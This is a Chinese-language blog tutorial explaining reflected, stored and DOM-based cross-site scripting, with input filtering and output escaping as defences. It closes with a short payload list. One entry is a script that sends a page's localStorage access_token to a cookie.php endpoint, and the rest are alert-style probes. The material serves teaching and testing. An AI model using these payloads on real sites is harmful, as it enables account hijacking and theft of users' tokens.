xss跨站脚本攻击(一)
Ⅰ.XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因:攻击者通过正常的输入手段,夹带进一些恶意的HTML脚本代码。当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍。
在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
Ⅱ.反射型XSS
用户在页面的输入,经过http请求发送到服务端,
服务端处理后,把用户的输入原封不动的返回到浏览器,
浏览器也没做处理,直接把用户的输入显示到页面中。
攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,特有的恶意代码参数被 HTML 解析、执行。
** 攻击流程:**
黑客发送带有xss恶意代码的链接给受害者,受害者点击了链接,访问服务器后,网站将xss同正常的页面发送给受害者的浏览器,浏览器将含有xss恶意代码解析发送到黑客服务器,黑客从自己搭建的而已服务器获取提取的用户信息。
Ⅲ.存储型XSS
不同于反射性,存储型会把传送到服务端的xss代码存储起来,长期存在。
长期存在与博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis等。
攻击流程:
黑客将构造好的含有xss代码的的网页发送到目标服务器,受害者访问目标服务器,服务器将含有xss代码的页面发送给受害者,经过浏览器解析xss代码,将恶意代码发送到黑客的服务器,黑客从中获取用户信息。
Ⅳ.DOM型XSS
不同与反射型和存储型,都是要经过服务端,而DOM型只需在客户端进行。
DOM型XSS是基于DOM文档对象模型的。对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问DOM。当确认客户端代码中有DOM型XSS漏洞时,诱使(钓鱼)一名用户访问自己构造的URL,利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。
Ⅴ.xss型payload
1. <script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>
2.<img src=x onerror=alert(100)>
3.<script>alert(document.cookie);</script>
4.<svg/onload=alert(1)>
5.<a href=”javascript:alert(1);”>test</a>
6.' onclick="confirm(123);"
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码